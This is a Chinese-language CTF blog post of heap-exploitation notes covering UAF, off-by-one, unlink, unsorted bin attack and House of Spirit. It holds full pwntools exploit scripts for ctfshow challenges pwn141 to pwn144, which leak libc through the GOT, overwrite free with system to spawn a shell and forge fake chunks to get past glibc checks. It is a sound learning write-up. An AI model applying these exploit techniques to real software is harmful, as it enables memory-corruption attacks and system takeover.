HEAP

本文最后更新于 2025年6月19日 中午

参考

CTF-WIKI

UAF

简介

UAF全称:Using-After-Free

  • 浅显理解:在free没有置零的情况下,可以做到malloc申请同样大小空间的堆,会返回上一个申请过这个大小的地址(当然有很多限制,这里先不讲)

原理

例题

ctfshowpwn141

根据原理,我们只需要将chunk->func的地址改为backdoor即可

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
p = p32 if i386 else p64 
u = u32 if i386 else u64

libcPath = '/home/ty/ctf/libc'
libcPath = libcPath + '/i386/' if i386 else libcPath + '/amd64/'

elf = ELF('./pwn')

def Add(size,content):
sla('choice :',str(1))
sla('size :',str(size))
sla('Content :',content)

def Del(index):
sla('choice :',str(2))
sla('Index :',str(index))

def show(index):
sla('choice :',str(3))
sla('Index :',str(index))

Add(32,'aaaa')
Add(20,'bbbb')
Del(0)
Del(1)

backdoor = elf.sym['use']
Add(8,p(backdoor))
show(0)

inter()

代码解读

这里要注意,只有chunk->content具有读写能力

  1. 为什么前两个Note的content的大小要满足 >= 4 && != 8

    • 根据原理,我们知道,如果size=8,那么我们通过流程可知,chunk[2]->content —> chunk[1]—>content,从而不能修改func的地址到backdoor
  2. 为什么最后一个Note的content的大小一定是8

    • 保证它分配的地址一定是chunk[0]—>func,从而利用content的读写性去修改其地址

Heap block overlap

chunk的结构(堆)

prev_size:若前一个物理相邻的chunk是free chunk,则表示其大小。否则用于存储前一个chunk的数据

  • x8664下prev_size 和 size+A+M+P 各自占8个字节
  • i386下prev_size 和 size+A+M+P 各自占4个字节
  1. chunk的起始大小为:Initial_size = prev_size + (size+A+M+P) == 0x10 (x64)/0x8(x32)
  2. chunk的最小大小为(x64):0x20 (0x21) [Initial_size+0x10]/(x32):0x10 (0x11) [Initial_size+0x8]

要注意一点

最终chunk大小的计算如下:

1
2
3
4
5
6
7
8
9
10
11
12
#AMD64
co = 1
size = n
chunk_size = 0x21
while True:
if(n <= Initial_size*co + sizeof(prev_size)):
break
else:
co += 1
chunk_size += 0x10
# 0x10+8
# 0x20+8
1
2
3
4
5
6
7
8
9
10
11
12
#I386
co = 0
size = n
chunk_size = 0x11
while True:
if(n <= (Initial_size+ 0x10*co + sizeof(prev_size))):
break
else:
co += 1
chunk_size += 0x10
# 0x8+4
# 0x8+0x10+4

Off-By-One

例题

ctfshowpwn142

整理一下其结构体类型得到如下:

  1. Create Heap

    • 首先申请了两个地址的空间

    • 第一个八字节地址用来存放 heaparray[i]->size

    • 第二个八字节地址空间是一个地址,指向这个堆的内容:heaparray[i]->content

  1. Edit Heap

    • 往heaparray[i]->content 存放的地址里写东西

    • 大小是heaparray[i]->size+1,即申请堆的内容空间大小+1

    • 存在堆溢出(off-by-one)

  1. Show Heap
    • 打印堆heaparray[i]->content内容的空间大小以及内容

  1. Delete Heap

    • 分别释放堆,并置零,不存在UAF

    • heaparray[i]->content

    • heaparray[i]->size

EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
p = p32 if i386 else p64 
u = u32 if i386 else u64

libcPath = '/home/ty/ctf/libc'
libcPath = libcPath + '/i386/' if i386 else libcPath + '/amd64/'

elf = ELF('./pwn')

def Add(size,content):
sla('choice :',str(1))
sla('Size of Heap : ',str(size))
sla('Content of heap:',content)

def Edit(index,content):
sla('choice :',str(2))
sla('Index :',str(index))
sla('Content of heap : ',content)

def show(index):
sla('choice :',str(3))
sla('Index :',str(index))


def Del(index):
sla('choice :',str(4))
sla('Index :',str(index))

Add(0x18,'aaaaaaaa')
Add(0x10,'bbbbbbbb')

Edit(0,'/bin/sh\x00'.ljust(0x18,'a') + '\x41')
Del(1)

Add(0x30,p64(0) * 4 + p64(0x30) + p64(elf.got['free']))
show(1)

ru('Content : ')
freeAddr = u(r(6).strip().ljust(8,b'\x00'))
libc = LibcSearcher('free',freeAddr)
libc.select_libc(4)
libcBase = freeAddr - libc.dump('free')
Addr = SLSysBin(libc,libcBase)

Edit(1,p(Addr[0]))

Del(0)

inter()
# libc6_2.27-3ubuntu1.6_amd64
代码解释

堆变化

Unlink

Fake_thunk模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#AMD64下实现fake_thunk
add(0x40,b'aaaa')
add(0x80,b'aaaa')

thunk_ptr = 0x006020C0
fakefd = thunk_ptr - 0x18
fakebk = thunk_ptr - 0x10

fake_thunk = p(0)
fake_thunk += p(0x41)
fake_thunk += p(fakefd)
fake_thunk += p(fakebk)
fake_thunk += junk(0x20)

fake_thunk += p(0x40)
fake_thunk += p(0x90)

thunk结构

Unlink: 将一个空闲的 chunk 从双向链表中移除,更新BK、FD的bk、fd(BK、FD都是一个thunk)

简单来说将一个thunk从一个双向链表中删除,但是保证这个双向链表不被破坏

  • fd:指向下一个空闲的 chunk
  • bk:指向上一个空闲的 chunk

个人理解:
Unlink有点像连带责任,P走了,那么BK、FD就要必须更新新的信息

原理

1. 原先的双向链表

也就说Unlink(P)

  • BK->fd = P->fd = FD
  • FD->bk = P->bk = BK

那也就说
当我们设置了P->bk的值,那么FD->bk也会被我们设置
当我们设置了P->fd的值,那么BK->fd也会被我们设置
而FD、BK又是由P->fd、P->bk来决定的
这就实现了任意内存写

a. fd != bk

P->fd = 0x1234
P->bk = 0x5678
那么
BK = 0x5678
FD = 0x1234
((size_t)BK+2) = P->fd == 0x1234
((size_t)FD+3) = P->bk == 0x5678
能看到,两个不同的地址*((size_t*)BK+2)``*((size_t*)FD+3),通过Unlink实现了覆写

b. fd = bk

P->fd = 0x1234
P->bk = 0x1234
BK = 0x1234
FD = 0x1234
((size_t)BK+2) = P->fd == 0x1234
((size_t)FD+3) = P->bk == 0x1234

  • *((size_t*)thunk+2) = P->fd == 0x1234*
  • *((size_t)thunk+3) = P->bk == 0x1234
    依据这个特性,那么我们就可以实现定点写入

c. 定点

写入fd的位置
P->fd = target-1
P->bk = target
BK = target
FD = target-1
((size_t)BK+2) = P->fd
((size_t)FD+3) = P->bk

  • *((size_t*)thunk+3) = P->fd
  • *((size_t*)thunk+3) = P->bk

如果只考虑一个(FD或者BK的话)那么会更简单
比如说我只考虑BK
那么
P->fd = value
P->bk = target_addr
就是实现了
*((size_t*)target_addr+2) = value
反之:
P->fd = target_addr
P->bk = value
就是实现了
*((size_t*)target_addr+3) = value
再简化一下
只考虑BK
P->fd = value
P->bk = target_addr - 2

*((size_t*)target_addr) = value
只考虑FD
P->fd = target_addr - 3
P->bk = value
*((size_t*)target_addr) = value

3. 无check

在早期,是不存在检查的,也就说,直接通过P->fd、P->bk的设置,触发Unlink(P)就可以实现任意内存写的操作

4. check

现实很残酷,有洞,总要修的,但是洞是修不完的

1
2
3
4
5
6
7
8
9
10
11
12
13
// 由于 P 已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致(size检查)
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
malloc_printerr ("corrupted size vs. prev_size"); \
// 检查 fd 和 bk 指针(双向链表完整性检查)
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \

// largebin 中 next_size 双向链表完整性检查
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr (check_action, \
"corrupted double-linked list (not small)", \
P, AV);

增加check后,我们来理解下fd、bk的检查

  • FD->bk != P
  • BK->fd != P

要想绕过check

  • FD->bk = P

  • BK->fd = P

  • (P->fd)->bk = P

  • (P->bk)->fd = P

来看看我们之前的图:绿色代表FD、BK能够通过check的指向,红色代表我们触发Unlink后FD、BK的指向

  • FD->bk = BK

  • BK->fd = FD

  • (P->fd)->bk = BK

  • (P->bk)->fd = FD

这样看,我们就可以通过定点这个知识点(上边)可以轻松解决

把BK和FD看成一个大的target_thunk,在target_thunk中BK和FD重合,且在target_thunk中存在P的地址就可以实现绕过了,上图理解下

target_thunk中存在P的地址

通过P->bk、P->fd布局,使得FD->bk = P、BK->fd = P

但是一般来说都是只知道P地址的存储地址,那么我们来转换一下

这样的结果是P_ptr被覆盖成了P->fd == P_Addr-3,至于为什么不是P_Addr-2,我也不造了,个人猜测是P->bk先覆盖了,P->fd后覆盖

触发

流程

  1. 伪造thunk(fake_thunk),

  2. 修改fake_thunk所在thunk的下一个thunk(这里叫next_thunk)的prev_sizesize上的 P flag(通常默认是1),通过next_thunk的修改来设置fake_thunk的状态是free

  3. prev_size = fake_thunk->size(不包含P,即P=0)

  4. size = size-1 (如果size的个位上存在1)

next_thunk的size有要求,必须>= 90,即malloc(0x80)[amd64下]

不然回收的时候(free(next_thunk))会将next_thunk收到fastbin中,导致触发不了Unlink

  1. free(next_thunk):触发Unlink(P)

解释下
size上的P flag:PREV_INUSE,记录前一个 chunk 块是否被分配。一般来说,堆中第一个被分配的内存块的 size 字段的 P 位都会被设置为 1,以便于防止访问前面的非法内存。当一个 chunk 的 size 的 P 位为 0 时,我们能通过 prev_size 字段来获取上一个 chunk 的大小以及地址。这也方便进行空闲 chunk 之间的合并。

prev_size:若前一个物理相邻的chunk是free chunk,则表示其大小。否则用于存储前一个chunk的数据

例题

ctfshowpwn143

add函数,可以看出它的布局

edit函数存在堆溢出

根据原理,我们来构造fake_thunk,并触发Unlink

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
elf = ELF('./pwn')

def show():
sla('choice:',str(1))

def Add(size,content):
sla('choice:',str(2))
sla('length:',str(size))
sa('the name:',content)

def Edit(index,size,content):
sla('choice:',str(3))
sla('index:',str(index))
sla('length of name:',str(size))
sa('the new name:',content)

def Del(index):
sla('choice:',str(4))
sla('index:',str(index))

def Exit():
sla('choice:',str(5))

chunk_ptr = 0x6020A8
fakefd = chunk_ptr - 0x18
fakebk = chunk_ptr - 0x10

fake_thunk = p(0)
fake_thunk += p(0x41)
fake_thunk += p(fakefd)
fake_thunk += p(fakebk)
fake_thunk += junk(0x20)

fake_thunk += p(0x40)
fake_thunk += p(0x90)

Add(0x40,b'aaaa')
Add(0x80,b'aaaa')
Add(0x10,b'/bin/sh\x00')
Edit(0,len(fake_thunk),fake_thunk)
Del(1)

payload = p(0) + p(0) + p(0x40) + p(elf.got['free'])

Edit(0,len(payload),payload)
show()
ru(' : ')
func_addr = u(r(6).ljust(8,b'\x00'))
lgs(hex(func_addr))

libc = LibcSearcher('free',func_addr)

libcBase = func_addr - libc.dump('free')

sysAddr,shellStr = SLSysBin(libc,libcBase)

payload = p(sysAddr)
Edit(0,len(payload),payload)

Del(2)

inter()

代码解释

fakefd->List[1] - 0x18(3*8)

fakebk->List[1] - 0x10(2*8)

AMD64下size_t的大小为8、i386下size_t的大小为4

Unsorted bin Attack

Unsortedthunk模板

1
2
3
4
5
6
7
8
9
target = 0x06020A0
fd = 0
bk = target - 0x10

payload = junk(0x20)
payload += p(0)
payload += p(0x91)
payload += p(fd)
payload += p(bk)

原理

这个攻击有点像Unlink,但是可能更高效一点(在进行攻击的时候)也有缺点,就是单纯的Unsorted bin Attack下,任意内存写入的数据不可控,简单理解下

当我们申请的thunk->size >= 0x90的时候,再free(thunk),该thunk会进入unsortedbin

unsortedbin是个双向链表管理器, 通俗来讲,它有个最高等级的(虚假的这里我用虚线来表示)tmp_thunk来管理双向链表

当我要将thunk1从这个双链中脱出

  • 更新tmp_thunk->bk
  • 更新thunk0->fd
1
2
3
4
5
/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
  • victim实际上就是unsortedbin中链表的最后一个thunk(这里就是thunk1)
  • 那么bck就是thunk0
  • unsorted_chunks (av)就是tmp_thunk

翻译一下就是

tmp_thunk->bk = bck == victim->bk

bck->fd = tmp_thunk

  • tmp_thunk->bk = victim->bk
  • victim->bk->fd = tmp_thunk
    • tmp_thunk->bk = victim->bk
    • victim->bk+2 = tmp_thunk

看得难受?没事,上图

那也就说,当我们控制了victim->bk值,那么我们就能将tmp_thunk写入任何地址上,但是<font style="color:#DF2A3F;">tmp_thunk</font>的值我们无法控制

看表达式

  • victim->bk = target-2
    • tmp_thunk->bk = target-2
    • victim->bk+2 [target] = tmp_thunk

此外还要注意一点,待free的thunk不能与top thunk物理相邻,不然free后无法进入unsortedbin

例题

ctfshowpwn144

edit:存在堆溢出漏洞

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
def add(size,content):
sla('Your choice :',str(1))
sla('Size of Heap : ',str(size))
sa('Content of heap:',content)

def edit(index,size,content):
sla('Your choice :',str(2))
sla('Index :',str(index))
sla('Size of Heap : ',str(size))
sa('Content of heap : ',content)

def delete(index):
sla('Your choice :',str(3))
sla('Index :',str(index))

add(0x20,b'aaaa')
add(0x80,b'aaaa')
add(0x20,b'aaaa')
delete(1)

target = 0x06020A0
fd = 0
bk = target - 0x10

payload = junk(0x20)
payload += p(0)
payload += p(0x91)
payload += p(fd)
payload += p(bk)

edit(0,len(payload),payload)

add(0x80,b'bbbb')

sl(str(0x1BF52))
inter()

代码解释

House Of Spirit

这个操作是通过伪造fastbin的单向链表来实现的
可以实现任意内存构造thunk

原理

fastbin的管理机制

  • 当thunk->size < 0x90,free(thunk)时会被回收到fastbin中[AMD64下]
  • 当fastbin中为空时,free(thunk),该thunk->fd = 0
  • 当fastbin中不为空时,free(thunk),该thunk->fd指向上一个被回收入fastbin中的thunk
  • 申请同样大小的thunk时,返回链表的头thunk,该thunk从fastbin中脱链,thunk->fd被content覆盖

看文字总是有点不够生动,看图吧

img

imgimg

fastbin添加thunk

这里有两种

  1. 手动free(fake_thunk),实现fastbin添加fake_thunk,但是在free的时候有要求
    1. fake chunk 的 ISMMAP 位不能为 1,因为 free 时,如果是 mmap 的 chunk,会单独处理。
    2. fake chunk 地址需要对齐, MALLOC_ALIGN_MASK
    3. fake chunk 的 size 大小需要满足对应的 fastbin 的需求,同时也得对齐。
    4. fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem 。
    5. fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况。
  2. 通过修改fastbin中的thunk->fd,实现fastbin添加fake_thunk,同样有要求
    1. 能够写入fastbin中的thunk的内存,一般是堆溢出
    2. thunk->size <= fake_thunk->size < thunk->size + size_t*2

a的理解很简单:如果不能写入thunk的内存,那么fd就无法修改,也就无法实现fastbin添加

b的理解就有丢丢复杂:要求fake_thunk->size 必须存在值,且值不能超过thunk->size + size_t2或者小于thunk->size。什么意思呢,就是说((size_t*)fake_thunk+1)必须有值;后半句是说,由于你是修改fastbin中已有的thunk->fd,那么就认为你的fake_thunk->size和thunk->size一样,但是可以不完全一样,上图来看看比较好理解

img

例题

ctfshowpwn144

edit:存在堆溢出

img

我们的目的是修改magic的值,那么我们就需要布局fake_thunk(第二种添加方法)

img

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
add(0x60,b'aaaa')
add(0x60,b'aaaa')
delete(1)


fake_thunk_ptr = 0x0602090 - 3
magic = 0x006020A0 + 8

fake_thunk = junk(0x60)
fake_thunk += p(0)
fake_thunk += p(0x71)
fake_thunk += p(fake_thunk_ptr)
edit(0,len(fake_thunk),fake_thunk)

add(0x60,b'aaaa')
add(0x60,b'aaaa')

payload = b'f'*(magic - fake_thunk_ptr - 0x10)

edit(2,len(payload),payload)

sl(str(0x1BF52))

inter()

代码解释

img
在布局fake_thunk时

stdin@@GLIBC_2_2_5,在elf文件映射内存的时一般都在高位地址上,也就是0x000070~0x00007F,那么就可以构造一个thunk->size = 0x71,实现添加fake_thunk

这里还有个问题,就是说,如果我们把fake_thunk == 0x0602090,那么fake_thunk->size ==0,就无法申请到fake_thunk的地址,那么我们就需要把[0x70~0x7f]从fake_thunk->prev_size挪到fake_thunk->size上。其在高三位上,那么stdin@@GLIBC_2_2_5-3,把它顶出去就ok

img

img

img


HEAP
https://tforevery.github.io/HEAP/
作者
TY
发布于
2025年6月17日
许可协议